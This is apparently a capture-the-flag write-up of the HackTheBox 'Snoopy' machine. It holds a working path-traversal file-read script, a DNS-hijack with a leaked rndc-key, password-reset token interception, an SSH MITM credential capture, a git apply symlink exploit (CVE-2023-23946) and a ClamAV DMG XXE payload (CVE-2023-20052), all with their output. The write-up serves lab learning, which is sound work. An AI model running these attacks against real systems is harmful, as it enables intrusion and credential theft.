File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All writeupsCase 09 · Filed 13 Oct 2026 · HackTheBox · 7 min read

Snoopy

Rooted

Hard Linux box chaining DNS, mail, SSH MITM and two CVEs to root


Evidence photo — case 09
Snoopy is a Hard Difficulty Linux machine that involves the exploitation of an LFI vulnerability to extract the configuration secret of Bind9. The obtained secret allows the redirection of the mail subdomain to the attacker's IP address, facilitating the interception of password reset requests within the Mattermost chat client. Within that service, a custom plugin designed for web admins to log into remote servers is manipulated to direct them to a server set up as an SSH honeypot, leading to the interception of cbrown's credentials. Exploiting the privileges of cbrown, the attacker utilizes the ability to execute git apply as sbrown, resulting in a unique symlinking attack for privilege escalation. The final stage involves the abuse of CVE-2023-20052 to include the root user's SSH key into a file via XXE, with the payload scanned by clamscan to trigger the XXE output in the debug response.
  1. Abuse a path traversal in the /download feature to get arbitrary file read as www-data.
  2. Read /etc/bind/named.conf and loot the rndc-key.
  3. Use that key with nsupdate to point mail.snoopy.htb at my box, stand up a rogue SMTP server, and intercept a Mattermost password-reset token to land as cschultz.
  4. Trigger the /server-provision slash command, catch the SSH callback with an SSH MITM, and steal cbrown's credentials.
  5. Abuse sudo git apply as sbrown (CVE-2023-23946) to write an authorized_keys through a symlink and grab the user flag.
  6. Abuse sudo clamscan --debug as root (CVE-2023-20052) to read files via XXE in a crafted DMG and grab the root flag.
  • Path-traversal arbitrary file read
  • DNS zone transfer (AXFR) and authenticated dynamic updates with a TSIG / rndc-key
  • Rogue SMTP and password-reset token interception
  • SSH man-in-the-middle with ssh-mitm
  • CVE-2023-23946: git apply symlink arbitrary file write
  • CVE-2023-20052: ClamAV DMG/HFS+ XML external entity (XXE) injection
Bash
# Nmap 7.93 scan initiated Fri Oct  9 23:39:36 2026 as: nmap -sC -sV -vv --reason -oN nmap 10.129.81.191
Increasing send delay for 10.129.81.191 from 0 to 5 due to 307 out of 1022 dropped probes since last increase.
Nmap scan report for 10.129.81.191
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2026-10-09 23:39:36 CET for 22s
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ee6bcec5b6e3fa1b97c03d5fe3f1a16e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwa6lTzS8uZRb7EebEXbLkAU0FpJ8k9KO+YwTTeEE7E3VgGZr4vOP4EOZce1XDgwR18wt0WOCiYz6pi6M4y4Lw=
|   256 545941e1719a1a879c1e995059bfe5ba (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZTgpF2zR6Xamvdn+NyIUGFtq7hXBd7RK3SM00IMQht
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: SnoopySec Bootstrap Template - Index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct  9 23:39:58 2026 -- 1 IP address (1 host up) scanned in 22.22 seconds

An open 53/tcp domain port sitting next to the usual SSH and HTTP is a little unusual for a HackTheBox Linux box, so this should be fun. The site has a file-download feature with two links that both point to the same /download path.
Downloading the release package handed me a zip archive with a PDF and a video inside.
Bash
[Oct 13, 2026 - 09:39:26 (CET)] exegol-htb2 snoopy # 7z l press_release.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,16 CPUs 13th Gen Intel(R) Core(TM) i7-13620H (B06A2),ASM,AES-NI)

Scanning the drive for archives:
1 file, 11363570 bytes (11 MiB)

Listing archive: press_release.zip

--
Path = press_release.zip
Type = zip
Physical Size = 11363570

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-04-20 17:52:24 .....        30732        26969  announcement.pdf
2023-04-20 17:52:36 .....     11425609     11336349  snoopysec_marketing.mp4
------------------- ----- ------------ ------------  ------------------------
2023-04-20 17:52:36           11456341     11363318  2 files

Neither the PDF nor the video held anything useful, and digging through the metadata with exiftool for usernames came up empty too.
One of those links revealed that the server takes a file parameter, something we can play with.
I sent the request over to Burp Repeater, had a feeling the parameter wasn't being sanitized properly, and sure enough landed arbitrary file read.
The server zips up whatever it returns, so I threw together a script to pull the raw file contents back out.
Bash
#!/usr/bin/env bash

set -euo pipefail

if [ "$#" -lt 2 ]; then
    echo "Usage: $0 <target> <remote-path> [out-name]" >&2
    echo "  <target>      host, host:port, or full http(s):// base URL" >&2
    echo "  <remote-path> file to read, e.g. /etc/passwd or opt/mattermost/config/config.json" >&2
    echo "  [out-name]    optional local filename (default: basename of remote-path)" >&2
    exit 1
fi

TARGET="$1"
REMOTE="$2"
OUTNAME="${3:-$(basename "$REMOTE")}"

case "$TARGET" in
    http://*|https://*) BASE="$TARGET" ;;
    *)                  BASE="http://$TARGET" ;;
esac
BASE="${BASE%/}"   # strip any trailing slash


REMOTE="${REMOTE#/}"                      # drop a leading slash if present
CLIMB=""
for _ in $(seq 1 12); do CLIMB="${CLIMB}....//"; done
PAYLOAD="${CLIMB}${REMOTE}"

encode() {
    local s="$1" out="" c
    for (( i=0; i<${#s}; i++ )); do
        c="${s:$i:1}"
        case "$c" in
            [a-zA-Z0-9._~/-]) out+="$c" ;;
            *) printf -v hex '%%%02X' "'$c"; out+="$hex" ;;
        esac
    done
    printf '%s' "$out"
}
ENC_PAYLOAD="$(encode "$PAYLOAD")"
URL="${BASE}/download?file=${ENC_PAYLOAD}"

TMP="$(mktemp -d)"
trap 'rm -rf "$TMP"' EXIT
ZIP="$TMP/response.zip"

echo "[*] Target : $BASE"
echo "[*] Remote : /$REMOTE"
echo "[*] URL    : $URL"
echo "[*] Fetching..."

HTTP_CODE="$(curl -sS -o "$ZIP" -w '%{http_code}' "$URL" || true)"

if [ ! -s "$ZIP" ]; then
    echo "[!] Empty response (HTTP $HTTP_CODE). File may not exist or not be readable by www-data." >&2
    exit 2
fi


FTYPE="$(file -b "$ZIP" 2>/dev/null || echo unknown)"

if printf '%s' "$FTYPE" | grep -qi 'zip archive'; then
    echo "[*] Got a zip (HTTP $HTTP_CODE). Extracting..."
    EXDIR="$TMP/extracted"
    mkdir -p "$EXDIR"
    unzip -o -q "$ZIP" -d "$EXDIR"
    EXTRACTED="$(find "$EXDIR" -type f -printf '%T@ %p\n' | sort -nr | head -n1 | cut -d' ' -f2-)"
    if [ -z "$EXTRACTED" ]; then
        echo "[!] Zip extracted but contained no files." >&2
        exit 3
    fi
    cp "$EXTRACTED" "./$OUTNAME"
    echo "[+] Saved: ./$OUTNAME  ($(wc -c < "./$OUTNAME") bytes)"
else
    echo "[*] Response was not a zip (type: $FTYPE, HTTP $HTTP_CODE). Saving raw."
    cp "$ZIP" "./$OUTNAME"
    echo "[+] Saved raw response: ./$OUTNAME  ($(wc -c < "./$OUTNAME") bytes)"
    echo "    (inspect it — could be the file itself, or an error/empty page)"
fi

if file -b "./$OUTNAME" 2>/dev/null | grep -qiE 'text|json|ASCII|empty'; then
    echo "[*] Preview:"
    head -n 20 "./$OUTNAME" | sed 's/^/    /'
fi

Let's dump a file with the extraction script to make sure it behaves.
Bash
[Oct 13, 2026 - 09:53:27 (CET)] exegol-htb2 extractions # ./extract.sh snoopy.htb /etc/hostname                        
[*] Target : http://snoopy.htb
[*] Remote : /etc/hostname
[*] URL    : http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//....//....//....//....//etc/hostname
[*] Fetching...
[*] Got a zip (HTTP 200). Extracting...
[+] Saved: ./hostname  (11 bytes)
[Oct 13, 2026 - 09:53:33 (CET)] exegol-htb2 extractions # cat hostname      
snoopy.htb

Dumping /etc/passwd handed me every user on the box.
Bash
[Oct 13, 2026 - 09:53:52 (CET)] exegol-htb2 extractions # ./extract.sh snoopy.htb /etc/passwd  
[*] Target : http://snoopy.htb
[*] Remote : /etc/passwd
[*] URL    : http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
[*] Fetching...
[*] Got a zip (HTTP 200). Extracting...
[+] Saved: ./passwd  (1805 bytes)
[*] Preview:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
[Oct 13, 2026 - 09:53:55 (CET)] exegol-htb2 extractions # cat passwd | grep sh$                      
root:x:0:0:root:/root:/bin/bash
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash
lpelt:x:1003:1004::/home/lpelt:/bin/bash
cschultz:x:1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray:x:1005:1006:Violet Gray:/home/vgray:/bin/bash

The catch is that the read runs as the low-privileged www-data user, serving a download.php behind PHP-FPM, which we can confirm straight from the process cmdline.
Bash
[Oct 13, 2026 - 09:56:24 (CET)] exegol-htb2 extractions # ./extract.sh snoopy.htb /proc/self/cmdline
[*] Target : http://snoopy.htb
[*] Remote : /proc/self/cmdline
[*] URL    : http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//....//....//....//....//proc/self/cmdline
[*] Fetching...
[*] Got a zip (HTTP 200). Extracting...
[+] Saved: ./cmdline  (78 bytes)
[Oct 13, 2026 - 09:57:21 (CET)] exegol-htb2 extractions # cat cmdline 
php-fpm: pool www

I couldn't read any SSH keys yet, so I went hunting through other service configs. DNS caught my eye since the scan showed it wide open, so I started there, and a zone transfer to dump every record worked right away.
[Oct 13, 2026 - 10:09:02 (CET)] exegol-htb2 extractions # dig @snoopy.htb snoopy.htb AXFR
<SNIP>
snoopy.htb.		86400	IN	SOA	ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb.		86400	IN	NS	ns1.snoopy.htb.
snoopy.htb.		86400	IN	NS	ns2.snoopy.htb.
mattermost.snoopy.htb.	86400	IN	A	172.18.0.3
mm.snoopy.htb.		86400	IN	A	127.0.0.1
ns1.snoopy.htb.		86400	IN	A	10.0.50.10
ns2.snoopy.htb.		86400	IN	A	10.0.51.10
postgres.snoopy.htb.	86400	IN	A	172.18.0.2
provisions.snoopy.htb.	86400	IN	A	172.18.0.4
www.snoopy.htb.		86400	IN	A	127.0.0.1
snoopy.htb.		86400	IN	SOA	ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
<SNIP>


There's a Mattermost instance here, likely running inside a Docker container (mattermost.snoopy.htb) with a loopback alias (mm.snoopy.htb). We'll come back and enumerate it later. I also tried pushing a dynamic DNS update without any key or authentication, and it got refused outright.
Bash
[Oct 13, 2026 - 10:01:12 (CET)] exegol-htb2 extractions # nsupdate <<EOF                                                                       
server snoopy.htb
zone snoopy.htb
update add m0rgxn.snoopy.htb 60 A 10.10.16.17
send
EOF

dig @snoopy.htb m0rgxn.snoopy.htb +short
update failed: REFUSED

So I pulled /etc/bind/named.conf, which holds the BIND config, and grabbed the key.
[Oct 13, 2026 - 10:15:47 (CET)] exegol-htb2 extractions # ./extract.sh snoopy.htb /etc/bind/named.conf                
[*] Target : http://snoopy.htb
[*] Remote : /etc/bind/named.conf
[*] URL    : http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//....//....//....//....//etc/bind/named.conf
[*] Fetching...
[*] Got a zip (HTTP 200). Extracting...
[+] Saved: ./named.conf  (570 bytes)
<SNIP>
[Oct 13, 2026 - 10:15:51 (CET)] exegol-htb2 extractions # cat named.conf 
<SNIP>
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};


And named.conf.local confirms the zone uses that rndc-key to authorize updates.
Bash
[Oct 13, 2026 - 10:16:41 (CET)] exegol-htb2 extractions # cat named.conf.local 
<SNIP>
zone "snoopy.htb" IN {
    type master;
    file "/var/lib/bind/db.snoopy.htb";
    allow-update { key "rndc-key"; };
    allow-transfer { 10.0.0.0/8; };
};

The contact page on the static site pointed at a mail.snoopy.htb host that was currently offline. It never showed up in the zone transfer because the record had been flushed from the DNS cache.
The next move is getting into Mattermost as an admin or some high-privileged user so I can dig through the integrations, slash commands, and playbooks.
Password reset is enabled, but it needs an email. The static site leaks a handful of user emails, and I can also take the accounts from /etc/passwd and tack @snoopy.htb onto them.
Let's fire off a reset for one of them and watch how it responds.
We don't know for sure that the user's email is valid, but when I tried m0rgxn@snoopy.htb as the email it succeeded. Since it failed with cshultz might indicate that the mail is valid in mattermost. Since we recovered the rndc-key, and the snoopy.htb zone is configured with allow-update { key "rndc-key"; }, we can use nsupdate to send an authenticated dynamic DNS update to the BIND server, adding an A record for mail.snoopy.htb that points to our attacker IP. We then run an SMTP server on that IP, so when a password reset is triggered, Mattermost resolves the mail host through the DNS we control and delivers the reset email (and its token) straight to us. First I use the rndc-key to add an A record for mail.snoopy.htb pointing at my machine.
Bash
[Oct 13, 2026 - 14:41:12 (CET)] exegol-htb2 extractions # nsupdate -y 'hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=' <<EOF
server snoopy.htb
zone snoopy.htb
update add mail.snoopy.htb 60 A 10.10.16.17      
send
EOF
[Oct 13, 2026 - 14:41:35 (CET)] exegol-htb2 extractions # dig @snoopy.htb mail.snoopy.htb +short

10.10.16.17

Then I stand up a rogue SMTP server and trigger the reset for cschultz. If Mattermost isn't enforcing SMTP authentication, the mail lands straight in my lap. This time the reset reports success in Mattermost, and the email shows up on my SMTP listener.
Bash
[Oct 13, 2026 - 14:45:19 (CET)] exegol-htb2 extractions # aiosmtpd -n -l 10.10.16.17:25 -u                                                     
<SNIP>

Reset Your Password
Click the button below to reset your password. If you didn=E2=80=99t reques=
t this, you can safely ignore this email.

Reset Password ( http://mm.snoopy.htb/reset_password_complete?token=3Dwp5hu=
u3tyw5nh76zwyqsodjptofdfr8u6hfoqhyg3c5jkpo6wtkn5nhgffzwmb51 )

The password reset link expires in 24 hours.

Questions?
Need help or have questions? Email us at support@snoopy.htb ( support@snoop=
y.htb )
<SNIP>

There's the password reset token, though the output is a little mangled because the email body is quoted-printable encoded (MIME Content-Transfer-Encoding: quoted-printable). That's why = signs and sequences like =E2=80=99 show up all over: in this encoding = introduces an escape, =3D is a literal =, =E2=80=99 is a UTF-8 right single quote (’), and a trailing = at the end of a line is a soft line break the mail client would normally stitch back together. From here I pull the token out of the link, reset the password, and log in. Once inside, I can see every registered Mattermost user, including the admin's email.
To dig in properly I reset the admin's password too, which gets me the system console and the integrations. There are two main channels: Town Square, which mentions server provisioning as part of their DevSecOps tooling, and another that's completely empty.
The channels were mostly quiet, except for a mention of ClamAV, an open-source AV that had its share of security vulnerabilities around the time this box dropped. Worth keeping in mind. Taking a look at the integrations turned up a Slash Command created by cbrown, the same person who brought up server provisioning.
We can call this slash command from any channel message with /server-provision.
Provisioning works on Linux and is disabled on Windows, and it reaches out on port 2222. Let's throw up a listener and run the command to see what kind of connection comes back.
The listener catches an SSH connection attempt.
Bash
[Oct 13, 2026 - 22:08:43 (CET)] exegol-htb2 snoopy # nc -nlvp 2222                                                                       
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::2222
Ncat: Listening on 0.0.0.0:2222
Ncat: Connection from 10.129.83.124.
Ncat: Connection from 10.129.83.124:46668.
SSH-2.0-paramiko_3.1.0

So I set up a rogue SSH server to catch the auth attempt and relay it onward, dumping the password straight out of the traffic.
Bash
./ssh-mitm-x86_64.AppImage server --remote-host 10.129.229.5 --listen-port 2222
───────────────────────────────────────────────────────────────────────────── SSH-MITM - ssh audits made simple ──────────────────────────────────────────────────────────────────────────────
Documentation: https://docs.ssh-mitm.at
Issues: https://github.com/ssh-mitm/ssh-mitm/issues
─────────────────────────────────────────────────────────────────────────────────────── Configuration ────────────────────────────────────────────────────────────────────────────────────────
🔑 SSH-Host-Keys:
   ✅ RSAKey 2048 bit — loaded from /home/dexter/.local/state/ssh-mitm/host_key_rsa
      ├─ SHA256:WoKINiUoounnZIle3j6OqNIwKsGFQ09lTaVPuHVU+XA
      └─ MD5:0d:f0:2d:9a:8c:69:28:fb:6a:cd:47:d9:d4:34:6d:a9
   ✅ ECDSAKey 256 bit — loaded from /home/dexter/.local/state/ssh-mitm/host_key_ecdsa
      ├─ SHA256:QWObE5w9SLtsjGJfqjgySnTTFZoOeJ6DbuiXUBywKno
      └─ MD5:54:fe:5d:55:89:d3:1b:6d:1d:25:14:58:c1:6d:46:b0
   ✅ Ed25519Key 256 bit — loaded from /home/dexter/.local/state/ssh-mitm/host_key_ed25519
      ├─ SHA256:WmwqCStO0LZEux4kVm34uEl5cnPt21VGrXeaimwRl+0
      └─ MD5:f8:70:f8:d4:d3:0b:3c:51:41:73:90:37:dd:cb:0d:08
..............................................................................................................................................................................................
💻 listen interfaces :: on port 2222
🎓 New to SSH-MITM? Run ssh-mitm tutorial for an interactive, browser-based introduction.
────────────────────────────────────────────────────────────────────────────────── waiting for connections ───────────────────────────────────────────────────────────────────────────────────
[10/12/26 16:23:40] INFO     ℹ session 9028d5cf-6e5a-40b8-88cb-260a64d4f29d created
                    WARNING  Paramiko: ecdsa-sha2 key is a bad choice; this will produce false positives!
                    INFO     ℹ client information:
                               - client version: ssh-2.0-paramiko_3.1.0
                               - product name: Paramiko
                               - vendor url:  https://www.paramiko.org/
                              - client address: ip=::ffff:10.129.229.5 port=49004
                             ⚠ detected vulnerabilities by active tests:
                                 CVE-2020-14145 - Fingerprint information leak
                                   * client uses same server_host_key_algorithms list for unknown and known hosts
                                   * Preferred server host key algorithm: ssh-ed25519
                                 CVE-2023-48795 - Terrapin-Attack
                                   * Strict key exchange: not supported
                                   * ChaCha20-Poly1305: not affected
                                   * CBC-EtM (client-to-server):
                                   *   ciphers: aes128-cbc, aes192-cbc, aes256-cbc, 3des-cbc
                                   *   MACs:    hmac-sha2-256-etm@openssh.com, hmac-sha2-512-etm@openssh.com
                                   * CBC-EtM (server-to-client):
                                   *   ciphers: aes128-cbc, aes192-cbc, aes256-cbc, 3des-cbc
                                   *   MACs:    hmac-sha2-256-etm@openssh.com, hmac-sha2-512-etm@openssh.com
                                   * Mitigation status: vulnerable
[10/12/26 16:23:43] WARNING  remote fingerprint verification not enabled. use '--remote-fingerprints' argument to enable it. accepting SHA256:XCYXaxdk/Kqjbrpe8gktW9N6/6egnc+Dy9V6SiBp4XY
                    INFO     remote_auth_success
                    INFO     Remote authentication succeeded
                                     Remote Address: 10.129.229.5:22
                                     Username: cbrown
                                     Password: sn00pedcr3dential!!!
                                     Agent: no agent
                    INFO     auth_password_attempt
                    INFO     ℹ 9028d5cf-6e5a-40b8-88cb-260a64d4f29d - local port forwarding
                             SOCKS port: 35701
                               SOCKS4:
                                 * socat: socat TCP-LISTEN:LISTEN_PORT,fork socks4:127.0.0.1:DESTINATION_ADDR:DESTINATION_PORT,socksport=35701
                                 * netcat: nc -X 4 -x localhost:35701 address port
                               SOCKS5:
                                 * netcat: nc -X 5 -x localhost:35701 address port
[10/12/26 16:23:44] INFO     got ssh command: ls -la
                    INFO     ℹ 9028d5cf-6e5a-40b8-88cb-260a64d4f29d - session started
[10/12/26 16:23:45] INFO     got remote command: ls -la
                    INFO     remote command 'ls -la' exited with code: 0
[10/12/26 16:23:46] INFO     ℹ session 9028d5cf-6e5a-40b8-88cb-260a64d4f29d closed


And there it is, cbrown's SSH creds: cbrown:sn00pedcr3dential!!!. I can SSH in as cbrown now, but there's still no flag to grab, that needs a privesc to sbrown. cbrown can run git apply as sbrown with a patch file.
Bash
cbrown@snoopy:~$ sudo -l
[sudo] password for cbrown: 
Matching Defaults entries for cbrown on snoopy:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$

git 2.34.1 is vulnerable to a couple of CVEs, and one of them, CVE-2023-23946, is a git apply path traversal via symlinks that leads to arbitrary file write. That means I can write a public key into /home/sbrown/.ssh/authorized_keys and log in as him.
cbrown@snoopy:~$ git --version
git version 2.34.1
I found a PoC on GitHub with instructions for pulling this off: https://github.com/bruno-1337/CVE-2023-23946-POC First I generated an SSH key pair on my attacker box.
Bash
[Oct 12, 2026 - 20:46:37 (CET)] exegol-htb2 snoopy # ssh-keygen -t ed25519 -f sbrown
<SNIP>
[Oct 12, 2026 - 20:49:44 (CET)] exegol-htb2 snoopy # chmod 600 sbrown                                   
[Oct 12, 2026 - 20:50:00 (CET)] exegol-htb2 snoopy # cat sbrown.pub  
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIINlz4JS4UiJJ5GzAcPG47TH7qooSyschBkHzhR2mAhi root@exegol-htb2

Here are the steps to run the PoC and write the public key.
Bash
cbrown@snoopy:/dev/shm$ ln -s /home/sbrown/.ssh symlink                          
cbrown@snoopy:/dev/shm$ ls -l
total 0
lrwxrwxrwx 1 cbrown cbrown 17 Oct 12 19:25 symlink -> /home/sbrown/.ssh
cbrown@snoopy:/dev/shm$ cat patch 
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/authorized_keys
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIINlz4JS4UiJJ5GzAcPG47TH7qooSyschBkHzhR2mAhi root@exegol-htb2
\ No newline at end of file
cbrown@snoopy:/dev/shm$ sudo -u sbrown /usr/bin/git apply -v patch 
Checking patch symlink => newsymlink...
Checking patch newsymlink/authorized_keys...
warning: unable to unlink 'symlink': Operation not permitted
Applied patch symlink => newsymlink cleanly.
Applied patch newsymlink/authorized_keys cleanly.

After that I can SSH in as sbrown and grab the user flag.
Bash
[Oct 13, 2026 - 22:34:16 (CET)] exegol-htb2 snoopy # ssh -i sbrown sbrown@snoopy.htb

Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-71-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
sbrown@snoopy:~$ ls
scanfiles  user.txt

sbrown can run clamscan, the ClamAV binary that came up earlier in Mattermost, as root.
Bash
sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

Let's check the version of ClamAV that's installed.
Bash
sbrown@snoopy:~$ clamscan --version
ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023

ClamAV 1.0.0 suffered from two CVEs (pre-2024): a heap overflow, which is a pain to recreate, and an XML entity substitution bug that gives XXE. CVE details: https://nvd.nist.gov/vuln/detail/cve-2023-20052. I used this PoC I found on GitHub to read the root flag: https://kitploit.com/en/tools/github/cy83rr0h1t/cve-2023-20052 First I build a dmg file and craft the HFS+ structure.
Bash
[Oct 12, 2026 - 21:16:03 (CET)] exegol-htb2 temp # sudo genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg/dmg dmg test.img test.dmg
genisoimage: Warning: no Apple/Unix files will be decoded/mapped
Using CMAKE000.CMA;1 for  ./dmg/CMakeFiles/dmg.dir/cmake_clean_target.cmake (cmake_clean.cmake)
Using CMAKE000.BIN;1 for  ./CMakeFiles/3.25.1/CMakeDetermineCompilerABI_CXX.bin (CMakeDetermineCompilerABI_C.bin)
Using COMPI000 for  ./CMakeFiles/3.25.1/CompilerIdCXX (CompilerIdC)
Using CMAKE000.CMA;1 for  ./common/CMakeFiles/common.dir/cmake_clean_target.cmake (cmake_clean.cmake)
Using CMAKE000.CMA;1 for  ./hfs/CMakeFiles/hfs.dir/cmake_clean_target.cmake (cmake_clean.cmake)
<SNIP>
Then I use the Binary Block Editor (bbe) to patch the XML embedded inside the dmg.
Bash
[Oct 12, 2026 - 21:16:32 (CET)] exegol-htb2 temp # bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit2.dmg

Finally I upload it to the server and run it with --debug to read /etc/passwd.
Bash
sbrown@snoopy:~$ /usr/local/bin/clamscan  --debug exploit2.dmg 
<SNIP>
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: cli_magic_scan: returning 0  at line 4997
LibClamAV debug: clean_cache_add: ae73d03af56e283a697813bf35b5dfdc (level 0)
LibClamAV debug: cli_scandmg: wanted blkx, text value is root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav:x:1002:1003::/home/clamav:/usr/sbin/nologin
lpelt:x:1003:1004::/home/lpelt:/bin/bash
cschultz:x:1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray:x:1005:1006:Violet Gray:/home/vgray:/bin/bash
bind:x:108:113::/var/cache/bind:/usr/sbin/nologin
